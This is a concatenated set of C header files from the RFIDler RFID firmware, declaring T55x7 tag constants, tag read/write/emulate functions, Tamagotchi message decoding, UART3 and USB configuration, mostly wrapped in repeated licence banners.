#define T55X7_SHIFT_FAST_WRITE 2
#define T55X7_SHIFT_INVERSE_DATA 1
#define T55X7_SHIFT_POR_DELAY 0
// T55X7 modulation settings
#define T55X7_MOD_BIPHASE_57 24
#define T55X7_MOD_BIPHASE_50 16
#define T55X7_MOD_MANCHESTER 8
#define T55X7_MOD_FSK2_A 7
#define T55X7_MOD_FSK1_A 6
#define T55X7_MOD_FSK2 5
#define T55X7_MOD_FSK1 4
#define T55X7_MOD_PSK3 3
#define T55X7_MOD_PSK2 2
#define T55X7_MOD_PSK1 1
#define T55X7_MOD_DIRECT 0
//
BOOL t55x7_send_command(BYTE *response, BYTE *command, BYTE length, BOOL reset, BOOL sync, BYTE response_length);
BOOL t55x7_get_uid(BYTE *response);
BOOL t55x7_read_block(BYTE *response, BYTE block);
BOOL t55x7_write_block(BYTE block, BYTE *data, BOOL lock, BOOL verify);
BOOL t55x7_rwd_test(BYTE *pattern);
BOOL t55x7_config_block_show(BYTE *config, BYTE *password);
BOOL t55x7_emulate_config_block(BYTE *config, BYTE target_tagtype);
BOOL t55x7_create_config_block(BYTE *config);
================================================
FILE: firmware/Pic32/RFIDler.X/include/tags.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define RAW_TAGS_DATABITS 256
void tag_list(void);
BYTE auto_detect_tag_type(void);
BYTE tag_get_type(BYTE *tag);
unsigned int tag_get_blocksize(BYTE tag);
unsigned int tag_get_datablocks(BYTE tag);
unsigned int tag_get_databits(BYTE tag);
BOOL tag_set(BYTE tag);
BOOL tag_uid_to_hex(BYTE *hex, BYTE *uid, BYTE tagtype);
void tag_raw_uid_to_data(BYTE *data, BYTE *uid, BYTE host_tagtype);
BOOL tag_write_default_config(BYTE tagtype, BYTE *password);
BOOL tag_write_default_blocks(BYTE tagtype, BYTE *password);
================================================
FILE: firmware/Pic32/RFIDler.X/include/tamagotchi.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// Natalie Silvanovich
// Tony Naggs
BOOL tamagotchi_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count);
// local functions
BOOL VerifyTamaMessage(BYTE *out, unsigned int outcount);
BYTE ChecksumTamaMessage(BYTE *out, unsigned int outcount);
void DumpTamaMessage(BYTE *out, unsigned int outcount);
char TamaAlphabetConvert(BYTE b);
================================================
FILE: firmware/Pic32/RFIDler.X/include/uart3.h
================================================
/*
UART3 Driver Header File for PIC24.
********************************************************************************
FileName: uart2.c
Dependencies: HardwareProfile.h
Processor: PIC24
Compiler: MPLAB C30
Linker: MPLAB LINK30
Company: Microchip Technology Incorporated
Author Date Comment
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Anton Alkhimenok 18-Oct-2005
KO 11-Oct-2006 v1.0
Anton Alkhimenok 17-Feb-2009 Added UART2Char2Hex(), UART2Hex2Char(),
UART2ClearError(), UART2DataReceived()
PAT 27-Jan-2010 Added UART2GetBaudError() for dynamic checking
of baud rate percentage error.
********************************************************************************
Software License Agreement
Microchip Technology Inc. ("Microchip") licenses to you the right to use, copy,
modify and distribute the software - including source code - only for use with
Microchip microcontrollers or Microchip digital signal controllers; provided
that no open source or free software is incorporated into the Source Code
without Microchips prior written consent in each instance.
The software is owned by Microchip and its licensors, and is protected under
applicable copyright laws. All rights reserved.
SOFTWARE AND DOCUMENTATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND,
EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION, ANY WARRANTY OF
MERCHANTABILITY, TITLE, NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE.
IN NO EVENT SHALL MICROCHIP OR ITS LICENSORS BE LIABLE OR OBLIGATED UNDER
CONTRACT, NEGLIGENCE, STRICT LIABILITY, CONTRIBUTION, BREACH OF WARRANTY, OR
OTHER LEGAL EQUITABLE THEORY ANY DIRECT OR INDIRECT DAMAGES OR EXPENSES
INCLUDING BUT NOT LIMITED TO ANY INCIDENTAL, SPECIAL, INDIRECT OR
CONSEQUENTIAL DAMAGES, LOST PROFITS OR LOST DATA, COST OF PROCUREMENT OF
SUBSTITUTE GOODS, TECHNOLOGY, SERVICES, ANY CLAIMS BY THIRD PARTIES (INCLUDING
BUT NOT LIMITED TO ANY DEFENSE THEREOF), OR OTHER SIMILAR COSTS.
********************************************************************************
*/
//******************************************************************************
// Function Prototypes
//******************************************************************************
/*******************************************************************************
Function: UART2GetBaudError()
Precondition:
None.
Overview:
This routine checks the UART baud rate error percentage and returns it.
Input: None.
Output: Returns the baud rate error in percent.
*******************************************************************************/
char UART3GetBaudError();
/*********************************************************************
Function: char UART2GetChar()
PreCondition: none
Input: none
Output: last character received
Side Effects: none
Overview: returns last character received
Note: none
********************************************************************/
char UART3GetChar();
/*********************************************************************
Function: void UART2PutChar(char ch)
PreCondition: none
Input: none
Output: none
Side Effects: none
Overview: puts character
Note: none
********************************************************************/
void UART3PutChar( char ch );
/*********************************************************************
Function: void UART2Init(void)
PreCondition: none
Input: none
Output: none
Side Effects: none
Overview: initializes UART
Note: none
********************************************************************/
void UART3Init();
/*******************************************************************************
Function: UART2IsPressed()
Precondition:
UART2Init must be called prior to calling this routine.
Overview:
This routine checks to see if there is a new byte in UART reception buffer.
Input: None.
Output:
0 : No new data received.
1 : Data is in the receive buffer
*******************************************************************************/
char UART3IsPressed();
/*******************************************************************************
Function: UART2PrintString( char *str )
Precondition:
UART2Init must be called prior to calling this routine.
Overview:
This function prints a string of characters to the UART.
Input: Pointer to a null terminated character string.
Output: None.
*******************************************************************************/
void UART3PrintString( char *str );
/*******************************************************************************
Function: UART2PutDec(unsigned char dec)
Precondition:
UART2Init must be called prior to calling this routine.
Input: Binary data
Output: none
Side Effects: none
Overview: This function converts decimal data into a string
and outputs it to UART.
Note: none
*******************************************************************************/
void UART3PutDec( unsigned char dec );
/*******************************************************************************
Function: UART2PutHex
Precondition:
UART2Init must be called prior to calling this routine.
Input: Binary data
Output: none
Side Effects: none
Overview: This function converts hex data into a string
and outputs it to UART.
Note: none
*******************************************************************************/
void UART3PutHex( int toPrint );
/*******************************************************************************
Function: UART2PutHexWord(unsigned int toPrint)
Precondition:
UART2Init must be called prior to calling this routine.
Input: Binary data
Output: none
Side Effects: none
Overview: This function converts hex data into a string
and outputs it to UART.
Note: none
*******************************************************************************/
#if defined( __C30__ ) || defined( __PIC32MX__ )
void UART3PutHexWord( unsigned int toPrint );
void UART3PutHexDWord( unsigned long int toPrint );
#endif
/*********************************************************************
Function: char UART2Char2Hex(char ch)
PreCondition: none
Input: ASCII to be converted
Output: number
Side Effects: none
Overview: converts ASCII coded digit into number
Note: none
********************************************************************/
char UART3Char2Hex(char ch);
/*********************************************************************
Function: char UART2Hex2Char(char hex)
PreCondition: none
Input: number
Output: ASCII code
Side Effects: none
Overview: converts low nibble into ASCII coded digit
Note: none
********************************************************************/
char UART3Hex2Char(char hex);
/*********************************************************************
Function: void UART2ClrError(void)
PreCondition: none
Input: none
Output: character received
Side Effects: none
Overview: wait for character
Note: none
********************************************************************/
void UART3ClrError(void);
/*********************************************************************
Macros: UART2DataReceived()
PreCondition: none
Input: none
Output: zero if character is not received
Side Effects: none
Overview: checks if data is available
Note: none
********************************************************************/
#define UART3DataReceived() (U3STAbits.URXDA)
================================================
FILE: firmware/Pic32/RFIDler.X/include/uid.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL get_tag_uid(BYTE *response);
BOOL interpret_uid(BYTE *response, BYTE *hex, BYTE tagtype);
BOOL get_interpreted_tag_uid(BYTE *response, BYTE tagtype);
================================================
FILE: firmware/Pic32/RFIDler.X/include/unique.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define UNIQUE_DATABITS 64
BOOL unique_get_uid(BYTE *response);
BOOL unique_hex_to_uid(BYTE *response, BYTE *hex);
BOOL hex_to_unique_hex(unsigned char *unique, unsigned char *hex);
BOOL unique_hex_to_hex(unsigned char *hex, unsigned char *unique);
BOOL hex_to_unique_bin(unsigned char *unique, unsigned char *hex);
================================================
FILE: firmware/Pic32/RFIDler.X/include/usb_config.h
================================================
/********************************************************************
FileName: usb_config.h
Dependencies: Always: GenericTypeDefs.h, usb_device.h
Situational: usb_function_hid.h, usb_function_cdc.h, usb_function_msd.h, etc.
Processor: PIC18 or PIC24 USB Microcontrollers
Hardware: The code is natively intended to be used on the following
hardware platforms: PICDEM FS USB Demo Board,
PIC18F87J50 FS USB Plug-In Module, or
Explorer 16 + PIC24 USB PIM. The firmware may be
modified for use on other USB platforms by editing the
HardwareProfile.h file.
Complier: Microchip C18 (for PIC18) or C30 (for PIC24)
Company: Microchip Technology, Inc.
Software License Agreement:
The software supplied herewith by Microchip Technology Incorporated
(the Company) for its PIC Microcontroller is intended and
supplied to you, the Companys customer, for use solely and
exclusively on Microchip PIC Microcontroller products. The
software is owned by the Company and/or its supplier, and is
protected under applicable copyright laws. All rights are reserved.
Any use in violation of the foregoing restrictions may subject the
user to criminal sanctions under applicable laws, as well as to
civil liability for the breach of the terms and conditions of this
license.
THIS SOFTWARE IS PROVIDED IN AN AS IS CONDITION. NO WARRANTIES,
WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT NOT LIMITED
TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. THE COMPANY SHALL NOT,
IN ANY CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES, FOR ANY REASON WHATSOEVER.
********************************************************************
File Description:
Change History:
Rev Date Description
1.0 11/19/2004 Initial release
2.1 02/26/2007 Updated for simplicity and to use common
coding style
*******************************************************************/
/*********************************************************************
* Descriptor specific type definitions are defined in: usbd.h
********************************************************************/
#ifndef USBCFG_H
#define USBCFG_H
/** DEFINITIONS ****************************************************/
#define USB_EP0_BUFF_SIZE 64 // Valid Options: 8, 16, 32, or 64 bytes.
// Using larger options take more SRAM, but
// does not provide much advantage in most types
// of applications. Exceptions to this, are applications
// that use EP0 IN or OUT for sending large amounts of
// application related data.
#define USB_MAX_NUM_INT 1 // For tracking Alternate Setting
//Device descriptor - if these two definitions are not defined then
// a ROM USB_DEVICE_DESCRIPTOR variable by the exact name of device_dsc
// must exist.
#define USB_USER_DEVICE_DESCRIPTOR &device_dsc
#define USB_USER_DEVICE_DESCRIPTOR_INCLUDE extern ROM USB_DEVICE_DESCRIPTOR device_dsc
//Configuration descriptors - if these two definitions do not exist then
// a ROM BYTE *ROM variable named exactly USB_CD_Ptr[] must exist.
#define USB_USER_CONFIG_DESCRIPTOR USB_CD_Ptr
#define USB_USER_CONFIG_DESCRIPTOR_INCLUDE extern ROM BYTE *ROM USB_CD_Ptr[]
//Make sure only one of the below "#define USB_PING_PONG_MODE"
//is uncommented.
//#define USB_PING_PONG_MODE USB_PING_PONG__NO_PING_PONG
#define USB_PING_PONG_MODE USB_PING_PONG__FULL_PING_PONG
//#define USB_PING_PONG_MODE USB_PING_PONG__EP0_OUT_ONLY
